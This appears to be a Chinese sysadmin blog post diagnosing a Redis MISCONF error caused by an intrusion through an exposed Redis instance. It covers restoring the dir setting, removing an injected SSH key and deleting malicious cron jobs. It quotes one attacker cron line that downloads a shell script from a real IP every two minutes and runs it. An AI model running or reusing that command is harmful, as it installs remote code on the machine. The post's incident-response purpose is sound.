-
redis連接出現以下報錯
Failed opening the RDB file root (in server root dir /etc/cron.d) for saving
-
服務連接redis出現以下報錯,導致服務崩潰
Caused by: io.lettuce.core.RedisCommandExecutionException: MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
-
意思是當前redis服務是以 RDB快照方式進行持久化,但是現在不能將數據持久化到硬盤,因此報錯
-
redis日志報錯: Failed opening the RDB file ntp (in server root dir /etc/cron.d) for saving: Permission denied
2.錯誤排查:
-
1.查詢redis配置文件搜索dir路徑為 "/var/lib/redis"
-
2.通過redis客戶端查詢dir配置: CONFIG GET dir 發現返回為"/etc/cron.d"跟我們配置不一樣,已經被串改
-
3.查詢reids所屬用戶發現沒被串改掉,如已被篡改為root用戶,那么你們服務器可能就不止reids有問題了,甚至你們的服務器已經被黑的用不了了
3.解決方案
如果沒被串改請講dir改回值我們配置文件的路徑,將redis不到對外開放,只能我們當前服務器才可已連接
臨時解決步驟:
-
1.設置reids的dir目錄 CONFIG SET dir /var/lib/redis (dir后面的路徑為redis配置中我們配置的路徑)
-
2.再次查詢目錄: CONFIG GET dir 重啟redis,即可恢復正常,為防止再次中招可將redis不對外
如果已被篡改
-
1.既然被人做了手腳那就趕緊看 /root/.ssh目錄下的 authorized_keys文件,果然被人添了公鑰
cat authorized_keys
那這個公鑰的主人就能隨時不用密碼使用root賬號登錄到我的服務器了
-
2.這個人既然想在 /etc/cron.d下添加ntp文件,必定是要在我的服務器上添加定時器,進入/var/spool/cron目錄果然看到一堆亂七八糟的文件,看下其中一個文件的內容
*/2 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
...
這是要定時去執行這個服務器上的腳本
臨時解決步驟:
1.刪除 authorized_keys文件里的內容
2.刪除/etc/cron.d目錄下的定時任務文件
3..設置reids的dir目錄
CONFIG SET dir /var/lib/redis (dir后面的路徑為redis配置中我們配置的路徑)
4..再次查詢目錄:
CONFIG GET dir
重啟redis,即可恢復正常,請加強你們的redis安全服務